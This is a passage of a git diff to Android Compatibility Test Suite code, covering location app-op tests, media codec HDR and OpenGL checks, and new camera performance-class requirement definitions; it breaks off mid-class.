@@ -118,6 +130,8 @@
         mGeocoder.getFromLocationName("Dalvik,Iceland", 5);
     }
 
+    @ApiTest(apis = "android.location.Geocoder#getFromLocationName")
+    @AppModeFull(reason = "b/238831704 - Test cases don't apply for Instant apps")
     @Test
     public void testGetFromLocationName_badInput() {
         GeocodeListener listener = mock(GeocodeListener.class);
diff --git a/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java b/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
index a70065c..48d5946 100644
--- a/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
+++ b/tests/location/location_none/src/android/location/cts/none/LocationDisabledAppOpsTest.java
@@ -34,6 +34,8 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.ApiTest;
+
 import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
@@ -54,6 +56,11 @@
     }
 
     @Test
+    @ApiTest(apis = {
+            "android.location.LocationManager#setLocationEnabledForUser",
+            "android.app.AppOpsManager#noteOpNoThrow",
+            "android.app.AppOpsManager#checkOpNoThrow",
+    })
     public void testLocationAppOpIsIgnoredForAppsWhenLocationIsDisabled() {
         PackageTagsList ignoreList = mLm.getIgnoreSettingsAllowlist();
 
@@ -79,13 +86,17 @@
                 List<String> bypassedCheckOps = new ArrayList<>();
                 for (PackageInfo pi : pkgs) {
                     ApplicationInfo ai = pi.applicationInfo;
-                    if (ai.uid != Process.SYSTEM_UID) {
+                    int appId = UserHandle.getAppId(ai.uid);
+                    if (appId != Process.SYSTEM_UID) {
                         final int[] mode = {MODE_ALLOWED};
+                        final boolean[] isProvider = {false};
                         runWithShellPermissionIdentity(() -> {
                             mode[0] = mAom.noteOpNoThrow(
                                     OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
+                            isProvider[0] = mLm.isProviderPackage(null, pi.packageName, null);
                         });
-                        if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)) {
+                        if (mode[0] == MODE_ALLOWED && !ignoreList.containsAll(pi.packageName)
+                                && !isProvider[0]) {
                             bypassedNoteOps.add(pi.packageName);
                         }
 
@@ -95,10 +106,10 @@
                             mode[0] = mAom
                                     .checkOpNoThrow(OPSTR_FINE_LOCATION, ai.uid, ai.packageName);
                         });
-                        if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)) {
+                        if (mode[0] == MODE_ALLOWED && !ignoreList.includes(pi.packageName)
+                                && !isProvider[0]) {
                             bypassedCheckOps.add(pi.packageName);
                         }
-
                     }
                 }
 
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
index f03fa90..efa8441 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderSurfaceTest.java
@@ -135,9 +135,9 @@
                 {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_360x640_768kbps_30fps_avc.mp4",
                         "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_160x1024_1500kbps_30fps_avc.mp4",
-                        "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_ALL},
+                        "bbb_520x390_1mbps_30fps_avc.mp4", CODEC_OPTIONAL},
                 {MediaFormat.MIMETYPE_VIDEO_AVC, "bbb_1280x120_1500kbps_30fps_avc.mp4",
-                        "bbb_340x280_768kbps_30fps_avc.mp4", CODEC_ALL},
+                        "bbb_340x280_768kbps_30fps_avc.mp4", CODEC_OPTIONAL},
                 {MediaFormat.MIMETYPE_VIDEO_HEVC, "bbb_520x390_1mbps_30fps_hevc.mp4",
                         "bbb_340x280_768kbps_30fps_hevc.mp4", CODEC_ALL},
                 {MediaFormat.MIMETYPE_VIDEO_MPEG4, "bbb_128x96_64kbps_12fps_mpeg4.mp4",
diff --git a/tests/media/src/android/mediav2/cts/CodecInfoTest.java b/tests/media/src/android/mediav2/cts/CodecInfoTest.java
index 5f9aa09..c3a1b09 100644
--- a/tests/media/src/android/mediav2/cts/CodecInfoTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecInfoTest.java
@@ -27,6 +27,8 @@
 
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.ApiTest;
+
 import org.junit.Assert;
 import org.junit.Assume;
 import org.junit.Ignore;
@@ -95,9 +97,17 @@
      * default 10-bit profiles, those are excluded from this test.
      */
     @Test
+    // TODO (b/228237404) Remove the following once there is a reliable way to query HDR
+    // display capabilities at native level, till then limit the test to vendor codecs
+    @NonMediaMainlineTest
+    @ApiTest(apis = "MediaCodecInfo.CodecCapabilities#profileLevels")
     public void testHDRDisplayCapabilities() {
         Assume.assumeTrue("Test needs Android 13", IS_AT_LEAST_T);
+        Assume.assumeTrue("Test needs VNDK Android 13", VNDK_IS_AT_LEAST_T);
         Assume.assumeTrue("Test is applicable for video codecs", mMediaType.startsWith("video/"));
+        // TODO (b/228237404) Remove the following once there is a reliable way to query HDR
+        // display capabilities at native level, till then limit the test to vendor codecs
+        Assume.assumeTrue("Test is restricted to vendor codecs", isVendorCodec(mCodecName));
 
         int[] Hdr10Profiles = mProfileHdr10Map.get(mMediaType);
         int[] Hdr10PlusProfiles = mProfileHdr10PlusMap.get(mMediaType);
@@ -158,10 +168,10 @@
                             .noneMatch(x -> x == COLOR_FormatSurface));
         }
 
-        // For devices launching with Android T, if a codec supports an HDR profile, it must
-        // advertise P010 support
+        // For devices launching with Android T, if a codec supports an HDR profile and device
+        // supports HDR display, it must advertise P010 support
         int[] HdrProfileArray = mProfileHdrMap.get(mMediaType);
-        if (FIRST_SDK_IS_AT_LEAST_T && HdrProfileArray != null) {
+        if (VNDK_IS_AT_LEAST_T && HdrProfileArray != null && DISPLAY_HDR_TYPES.length > 0) {
             for (CodecProfileLevel pl : caps.profileLevels) {
                 if (IntStream.of(HdrProfileArray).anyMatch(x -> x == pl.profile)) {
                     assertFalse(mCodecInfo.getName() + " supports HDR profile " + pl.profile + "," +
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index 0368d88..6065c5c 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -74,6 +74,7 @@
 import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
 import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible;
 import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010;
+import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_HdrEditing;
 import static android.media.MediaCodecInfo.CodecProfileLevel.*;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
@@ -600,6 +601,7 @@
             ApiLevelUtil.isFirstApiAfter(Build.VERSION_CODES.S_V2);
     public static final boolean VNDK_IS_AT_LEAST_T =
             SystemProperties.getInt("ro.vndk.version", 0) > Build.VERSION_CODES.S_V2;
+    public static final boolean IS_HDR_EDITING_SUPPORTED = isHDREditingSupported();
     private static final String LOG_TAG = CodecTestBase.class.getSimpleName();
     enum SupportClass {
         CODEC_ALL, // All codecs must support
@@ -845,6 +847,22 @@
         return isSupported;
     }
 
+    static boolean isHDREditingSupported() {
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
+            if (!codecInfo.isEncoder()) {
+                continue;
+            }
+            for (String mediaType : codecInfo.getSupportedTypes()) {
+                CodecCapabilities caps = codecInfo.getCapabilitiesForType(mediaType);
+                if (caps != null && caps.isFeatureSupported(FEATURE_HdrEditing)) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
     static boolean doesAnyFormatHaveHDRProfile(String mime, ArrayList<MediaFormat> formats) {
         int[] profileArray = mProfileHdrMap.get(mime);
         if (profileArray != null) {
diff --git a/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java b/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
index 96836e6..518ff86 100644
--- a/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
+++ b/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java
@@ -28,6 +28,8 @@
 
 import androidx.test.filters.LargeTest;
 
+import com.android.compatibility.common.util.ApiTest;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -334,6 +336,12 @@
      * The OpenGL fragment shader reads the frame buffers as externl textures and renders to
      * a pbuffer. The output RGB values are read and compared against the expected values.
      */
+    @ApiTest(apis = {"android.media.MediaCodec#dequeueOutputBuffer",
+                     "android.media.MediaCodec#releaseOutputBuffer",
+                     "android.media.MediaCodec.Callback#onOutputBufferAvailable",
+                     "android.media.MediaFormat#setInteger(KEY_COLOR_RANGE)",
+                     "android.media.MediaFormat#setInteger(KEY_COLOR_STANDARD)",
+                     "android.media.MediaFormat#setInteger(KEY_COLOR_TRANSFER)"})
     @LargeTest
     @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS)
     public void testDecodeGlAccuracyRGB() throws IOException, InterruptedException {
@@ -364,6 +372,17 @@
         mWidth = format.getInteger(MediaFormat.KEY_WIDTH);
         mHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
         mEGLWindowOutSurface = new OutputSurface(mWidth, mHeight, false, mUseYuvSampling);
+
+        // If device supports HDR editing, then GL_EXT_YUV_target extension support is mandatory
+        if (mUseYuvSampling) {
+            String message = "Device doesn't support EXT_YUV_target GL extension";
+            if (IS_AT_LEAST_T && IS_HDR_EDITING_SUPPORTED) {
+                assertTrue(message, mEGLWindowOutSurface.getEXTYuvTargetSupported());
+            } else {
+                assumeTrue(message, mEGLWindowOutSurface.getEXTYuvTargetSupported());
+            }
+        }
+
         mSurface = mEGLWindowOutSurface.getSurface();
 
         mCodec = MediaCodec.createByCodecName(mCompName);
diff --git a/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java b/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
index b11343c..ebed139 100644
--- a/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
+++ b/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java
@@ -55,9 +55,10 @@
     // qp of the encoded clips shall drop down to < 10. Further the color bands are aligned to 2,
     // so from downsampling rgb24 to yuv420p, even if bilinear filters are used as opposed to
     // skipping samples, we may not see large color loss. Hence allowable tolerance is kept to 5.
-    // until QP stabilizes, the tolerance is set at 7.
-    private final int TRANSIENT_STATE_COLOR_DELTA = 7;
-    private final int STEADY_STATE_COLOR_DELTA = 5;
+    // until QP stabilizes, the tolerance is set at 7. For devices upgrading to T, thresholds are
+    // relaxed to 8 and 10.
+    private final int TRANSIENT_STATE_COLOR_DELTA = FIRST_SDK_IS_AT_LEAST_T ? 7: 10;
+    private final int STEADY_STATE_COLOR_DELTA = FIRST_SDK_IS_AT_LEAST_T ? 5: 8;
     private final int[][] mColorBars = new int[][]{
             {66, 133, 244},
             {219, 68, 55},
diff --git a/tests/media/src/android/mediav2/cts/OutputSurface.java b/tests/media/src/android/mediav2/cts/OutputSurface.java
index 03856a2..24dbc4d 100644
--- a/tests/media/src/android/mediav2/cts/OutputSurface.java
+++ b/tests/media/src/android/mediav2/cts/OutputSurface.java
@@ -22,10 +22,12 @@
 import android.opengl.EGLContext;
 import android.opengl.EGLDisplay;
 import android.opengl.EGLSurface;
+import android.opengl.GLES20;
 import android.util.Log;
 import android.view.Surface;
 
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 
 /**
@@ -58,6 +60,8 @@
     private boolean mFrameAvailable;
 
     private TextureRender mTextureRender;
+    private int mEGLESVersion;
+    private boolean mEXTYuvTargetSupported = false;
 
     /**
      * Creates an OutputSurface backed by a pbuffer with the specified dimensions.  The new
@@ -76,6 +80,11 @@
         eglSetup(width, height, useHighBitDepth, useYuvSampling);
         makeCurrent();
 
+        if (mEGLESVersion > 2) {
+            String extensionList = GLES20.glGetString(GLES20.GL_EXTENSIONS);
+            mEXTYuvTargetSupported = extensionList.contains("GL_EXT_YUV_target");
+        }
+
         setup(this, useYuvSampling);
     }
 
@@ -92,6 +101,13 @@
     }
 
     /**
+     * Returns if the device support GL_EXT_YUV_target extension
+     */
+    public boolean getEXTYuvTargetSupported() {
+        return mEXTYuvTargetSupported;
+    }
+
+    /**
      * Creates instances of TextureRender and SurfaceTexture, and a Surface associated
      * with the SurfaceTexture.
      */
@@ -101,7 +117,7 @@
         assertTrue(EGL14.eglGetCurrentSurface(EGL14.EGL_DRAW) != EGL14.EGL_NO_SURFACE);
         assertTrue(EGL14.eglGetCurrentSurface(EGL14.EGL_READ) != EGL14.EGL_NO_SURFACE);
         mTextureRender = new TextureRender();
-        mTextureRender.setUseYuvSampling(useYuvSampling);
+        mTextureRender.setUseYuvSampling(mEXTYuvTargetSupported && useYuvSampling);
         mTextureRender.surfaceCreated();
 
         // Even if we don't access the SurfaceTexture after the constructor returns, we
@@ -162,13 +178,22 @@
         }
 
         // Configure context for OpenGL ES 3.0/2.0.
-        int eglContextClientVersion = useYuvSampling ? 3: 2;
-        int[] attrib_list = {
-                EGL14.EGL_CONTEXT_CLIENT_VERSION, eglContextClientVersion,
-                EGL14.EGL_NONE
-        };
-        mEGLContext = EGL14.eglCreateContext(mEGLDisplay, configs[0], EGL14.EGL_NO_CONTEXT,
-                attrib_list, 0);
+        mEGLESVersion = useYuvSampling ? 3 : 2;
+        do {
+            int[] attrib_list = {
+                    EGL14.EGL_CONTEXT_CLIENT_VERSION, mEGLESVersion,
+                    EGL14.EGL_NONE
+            };
+            mEGLContext = EGL14.eglCreateContext(mEGLDisplay, configs[0], EGL14.EGL_NO_CONTEXT,
+                    attrib_list, 0);
+            // if OpenGL ES 3.0 isn't supported, attempt to create OpenGL ES 2.0 context
+            if (mEGLContext == EGL14.EGL_NO_CONTEXT && useYuvSampling) {
+                mEGLESVersion--;
+            } else {
+                break;
+            }
+        } while (mEGLESVersion > 1);
+
         checkEglError("eglCreateContext");
         if (mEGLContext == null) {
             throw new RuntimeException("null context");
diff --git a/tests/mediapc/AndroidTest.xml b/tests/mediapc/AndroidTest.xml
index dcc8995..dc36e58 100644
--- a/tests/mediapc/AndroidTest.xml
+++ b/tests/mediapc/AndroidTest.xml
@@ -24,6 +24,11 @@
         <option name="config-filename" value="CtsMediaPerformanceClassTestCases" />
         <option name="version" value="1.0"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaPerformanceClassTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaPerformanceClassTestCases-1.2" />
diff --git a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
index 327fb9c..d3fd292 100644
--- a/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
+++ b/tests/mediapc/common/src/android/mediapc/cts/common/PerformanceClassEvaluator.java
@@ -20,6 +20,7 @@
 
 import static org.junit.Assume.assumeTrue;
 
+import android.hardware.camera2.CameraMetadata;
 import android.media.MediaFormat;
 import android.os.Build;
 
@@ -849,7 +850,493 @@
         }
     }
 
-    private <R extends Requirement> R addRequirement(R req) {
+    public static class PrimaryCameraRequirement extends Requirement {
+        private static final long MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION = 12000000;
+        private static final long MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION = 5000000;
+        private static final long MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION = 4000000;
+        private static final String TAG = PrimaryCameraRequirement.class.getSimpleName();
+
+        private PrimaryCameraRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setPrimaryCameraSupported(boolean hasPrimaryCamera) {
+            this.setMeasuredValue(RequirementConstants.PRIMARY_CAMERA_AVAILABLE,
+                    hasPrimaryCamera);
+        }
+
+        public void setResolution(long resolution) {
+            this.setMeasuredValue(RequirementConstants.PRIMARY_CAMERA_RESOLUTION,
+                    resolution);
+        }
+
+        public void setVideoSizeReqSatisfied(boolean videoSizeReqSatisfied) {
+            this.setMeasuredValue(RequirementConstants.PRIMARY_CAMERA_VIDEO_SIZE_REQ_SATISFIED,
+                    videoSizeReqSatisfied);
+        }
+
+        public void setVideoFps(double videoFps) {
+            this.setMeasuredValue(RequirementConstants.PRIMARY_CAMERA_VIDEO_FPS, videoFps);
+        }
+
+        /**
+         * [2.2.7.2/7.5/H-1-1] MUST have a primary rear facing camera with a resolution of at
+         * least 12 megapixels supporting video capture at 4k@30fps
+         */
+        public static PrimaryCameraRequirement createRearPrimaryCamera() {
+            RequiredMeasurement<Boolean> hasPrimaryCamera = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.PRIMARY_CAMERA_AVAILABLE)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.R, true)
+                .addRequiredValue(Build.VERSION_CODES.S, true)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+
+            RequiredMeasurement<Long> cameraResolution = RequiredMeasurement
+                .<Long>builder()
+                .setId(RequirementConstants.PRIMARY_CAMERA_RESOLUTION)
+                .setPredicate(RequirementConstants.LONG_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R, MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION)
+                .addRequiredValue(Build.VERSION_CODES.S, MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, MIN_BACK_SENSOR_PERF_CLASS_RESOLUTION)
+                .build();
+
+            RequiredMeasurement<Boolean> videoSizeReqSatisfied = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.PRIMARY_CAMERA_VIDEO_SIZE_REQ_SATISFIED)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.R, true)
+                .addRequiredValue(Build.VERSION_CODES.S, true)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+
+            RequiredMeasurement<Double> videoFps = RequiredMeasurement
+                .<Double>builder()
+                .setId(RequirementConstants.PRIMARY_CAMERA_VIDEO_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R, 29.9)
+                .addRequiredValue(Build.VERSION_CODES.S, 29.9)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 29.9)
+                .build();
+
+            return new PrimaryCameraRequirement(RequirementConstants.R7_5__H_1_1,
+                    hasPrimaryCamera, cameraResolution, videoSizeReqSatisfied,
+                    videoFps);
+        }
+
+        /**
+         * [2.2.7.2/7.5/H-1-2] MUST have a primary front facing camera with a resolution of
+         * at least 4 megapixels supporting video capture at 1080p@30fps.
+         */
+        public static PrimaryCameraRequirement createFrontPrimaryCamera() {
+            RequiredMeasurement<Boolean> hasPrimaryCamera = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.PRIMARY_CAMERA_AVAILABLE)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.R, true)
+                .addRequiredValue(Build.VERSION_CODES.S, true)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+
+            RequiredMeasurement<Long> cameraResolution = RequiredMeasurement
+                .<Long>builder()
+                .setId(RequirementConstants.PRIMARY_CAMERA_RESOLUTION)
+                .setPredicate(RequirementConstants.LONG_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R, MIN_FRONT_SENSOR_R_PERF_CLASS_RESOLUTION)
+                .addRequiredValue(Build.VERSION_CODES.S, MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU,
+                        MIN_FRONT_SENSOR_S_PERF_CLASS_RESOLUTION)
+                .build();
+
+            RequiredMeasurement<Boolean> videoSizeReqSatisfied = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.PRIMARY_CAMERA_VIDEO_SIZE_REQ_SATISFIED)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.R, true)
+                .addRequiredValue(Build.VERSION_CODES.S, true)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+
+            RequiredMeasurement<Double> videoFps = RequiredMeasurement
+                .<Double>builder()
+                .setId(RequirementConstants.PRIMARY_CAMERA_VIDEO_FPS)
+                .setPredicate(RequirementConstants.DOUBLE_GTE)
+                .addRequiredValue(Build.VERSION_CODES.R, 29.9)
+                .addRequiredValue(Build.VERSION_CODES.S, 29.9)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 29.9)
+                .build();
+
+            return new PrimaryCameraRequirement(RequirementConstants.R7_5__H_1_2,
+                    hasPrimaryCamera, cameraResolution, videoSizeReqSatisfied,
+                    videoFps);
+        }
+    }
+
+    public static class CameraTimestampSourceRequirement extends Requirement {
+        private static final String TAG = CameraTimestampSourceRequirement.class.getSimpleName();
+        private static final int TIMESTAMP_REALTIME =
+                CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME;
+
+        private CameraTimestampSourceRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setRearCameraTimestampSource(Integer timestampSource) {
+            this.setMeasuredValue(RequirementConstants.REAR_CAMERA_TIMESTAMP_SOURCE,
+                    timestampSource);
+        }
+
+        public void setFrontCameraTimestampSource(Integer timestampSource) {
+            this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_TIMESTAMP_SOURCE,
+                    timestampSource);
+        }
+        /**
+         * [2.2.7.2/7.5/H-1-4] MUST support CameraMetadata.SENSOR_INFO_TIMESTAMP_SOURCE_REALTIME
+         * for both primary cameras.
+         */
+        public static CameraTimestampSourceRequirement createTimestampSourceReq() {
+            RequiredMeasurement<Integer> rearTimestampSource = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.REAR_CAMERA_TIMESTAMP_SOURCE)
+                .setPredicate(RequirementConstants.INTEGER_EQ)
+                .addRequiredValue(Build.VERSION_CODES.R, TIMESTAMP_REALTIME)
+                .addRequiredValue(Build.VERSION_CODES.S, TIMESTAMP_REALTIME)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, TIMESTAMP_REALTIME)
+                .build();
+            RequiredMeasurement<Integer> frontTimestampSource = RequiredMeasurement
+                .<Integer>builder()
+                .setId(RequirementConstants.FRONT_CAMERA_TIMESTAMP_SOURCE)
+                .setPredicate(RequirementConstants.INTEGER_EQ)
+                .addRequiredValue(Build.VERSION_CODES.R, TIMESTAMP_REALTIME)
+                .addRequiredValue(Build.VERSION_CODES.S, TIMESTAMP_REALTIME)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, TIMESTAMP_REALTIME)
+                .build();
+
+            return new CameraTimestampSourceRequirement(RequirementConstants.R7_5__H_1_4,
+                    rearTimestampSource, frontTimestampSource);
+        }
+    }
+
+    public static class CameraLatencyRequirement extends Requirement {
+        private static final String TAG = CameraTimestampSourceRequirement.class.getSimpleName();
+
+        private CameraLatencyRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setRearCameraLatency(float latency) {
+            this.setMeasuredValue(RequirementConstants.REAR_CAMERA_LATENCY, latency);
+        }
+
+        public void setFrontCameraLatency(float latency) {
+            this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_LATENCY, latency);
+        }
+
+        /**
+         * [2.2.7.2/7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p resolution
+         * as measured by the CTS camera PerformanceTest under ITS lighting conditions
+         * (3000K) for both primary cameras.
+         */
+        public static CameraLatencyRequirement createJpegLatencyReq() {
+            RequiredMeasurement<Float> rearJpegLatency = RequiredMeasurement
+                .<Float>builder()
+                .setId(RequirementConstants.REAR_CAMERA_LATENCY)
+                .setPredicate(RequirementConstants.FLOAT_LTE)
+                .addRequiredValue(Build.VERSION_CODES.R, 1000.0f)
+                .addRequiredValue(Build.VERSION_CODES.S, 1000.0f)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1000.0f)
+                .build();
+            RequiredMeasurement<Float> frontJpegLatency = RequiredMeasurement
+                .<Float>builder()
+                .setId(RequirementConstants.FRONT_CAMERA_LATENCY)
+                .setPredicate(RequirementConstants.FLOAT_LTE)
+                .addRequiredValue(Build.VERSION_CODES.R, 1000.0f)
+                .addRequiredValue(Build.VERSION_CODES.S, 1000.0f)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 1000.0f)
+                .build();
+
+            return new CameraLatencyRequirement(RequirementConstants.R7_5__H_1_5,
+                    rearJpegLatency, frontJpegLatency);
+        }
+
+        /**
+         * [2.2.7.2/7.5/H-1-6] MUST have camera2 startup latency (open camera to first
+         * preview frame) < 600ms as measured by the CTS camera PerformanceTest under ITS lighting
+         * conditions (3000K) for both primary cameras.
+         */
+        public static CameraLatencyRequirement createLaunchLatencyReq() {
+            RequiredMeasurement<Float> rearLaunchLatency = RequiredMeasurement
+                .<Float>builder()
+                .setId(RequirementConstants.REAR_CAMERA_LATENCY)
+                .setPredicate(RequirementConstants.FLOAT_LTE)
+                .addRequiredValue(Build.VERSION_CODES.R, 600.0f)
+                .addRequiredValue(Build.VERSION_CODES.S, 600.0f)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 600.0f)
+                .build();
+            RequiredMeasurement<Float> frontLaunchLatency = RequiredMeasurement
+                .<Float>builder()
+                .setId(RequirementConstants.FRONT_CAMERA_LATENCY)
+                .setPredicate(RequirementConstants.FLOAT_LTE)
+                .addRequiredValue(Build.VERSION_CODES.R, 600.0f)
+                .addRequiredValue(Build.VERSION_CODES.S, 600.0f)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, 600.0f)
+                .build();
+
+            return new CameraLatencyRequirement(RequirementConstants.R7_5__H_1_6,
+                    rearLaunchLatency, frontLaunchLatency);
+        }
+    }
+
+    public static class CameraRawRequirement extends Requirement {
+        private static final String TAG = CameraRawRequirement.class.getSimpleName();
+
+        private CameraRawRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setRearRawSupported(boolean rearRawSupported) {
+            this.setMeasuredValue(RequirementConstants.REAR_CAMERA_RAW_SUPPORTED,
+                    rearRawSupported);
+        }
+
+        /**
+         * [2.2.7.2/7.5/H-1-8] MUST support CameraMetadata.REQUEST_AVAILABLE_CAPABILITIES_RAW and
+         * android.graphics.ImageFormat.RAW_SENSOR for the primary back camera.
+         */
+        public static CameraRawRequirement createRawReq() {
+            RequiredMeasurement<Boolean> requirement = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.REAR_CAMERA_RAW_SUPPORTED)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.S, true)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+
+            return new CameraRawRequirement(RequirementConstants.R7_5__H_1_8, requirement);
+        }
+    }
+
+    public static class Camera240FpsRequirement extends Requirement {
+        private static final String TAG = Camera240FpsRequirement.class.getSimpleName();
+
+        private Camera240FpsRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setRear240FpsSupported(boolean rear240FpsSupported) {
+            this.setMeasuredValue(RequirementConstants.REAR_CAMERA_240FPS_SUPPORTED,
+                    rear240FpsSupported);
+        }
+
+        /**
+         * [2.2.7.2/7.5/H-1-9] MUST have a rear-facing primary camera supporting 720p or 1080p @ 240fps.
+         */
+        public static Camera240FpsRequirement create240FpsReq() {
+            RequiredMeasurement<Boolean> requirement = RequiredMeasurement
+                .<Boolean>builder()
+                .setId(RequirementConstants.REAR_CAMERA_240FPS_SUPPORTED)
+                .setPredicate(RequirementConstants.BOOLEAN_EQ)
+                .addRequiredValue(Build.VERSION_CODES.TIRAMISU, true)
+                .build();
+
+            return new Camera240FpsRequirement(RequirementConstants.R7_5__H_1_9, requirement);
+        }
+    }
+
+    public static class UltraWideZoomRatioRequirement extends Requirement {
+        private static final String TAG =
+                UltraWideZoomRatioRequirement.class.getSimpleName();
+
+        private UltraWideZoomRatioRequirement(String id, RequiredMeasurement<?> ... reqs) {
+            super(id, reqs);
+        }
+
+        public void setRearUltraWideZoomRatioReqMet(boolean ultrawideZoomRatioReqMet) {
+            this.setMeasuredValue(RequirementConstants.REAR_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET,
+                    ultrawideZoomRatioReqMet);
+        }
+
+        public void setFrontUltraWideZoomRatioReqMet(boolean ultrawideZoomRatioReqMet) {
+            this.setMeasuredValue(RequirementConstants.FRONT_CAMERA_ULTRAWIDE_ZOOMRATIO_REQ_MET,
+                    ultrawideZoomRatioReqMet);
+        }
+
+        /**
+         * [2.2.7.2/7.5/H-1-10] MUST have min ZOOM_RATIO < 1.0 for the primary cameras if
+         * there is an ultrawide RGB camera facing the same direction.
+         */
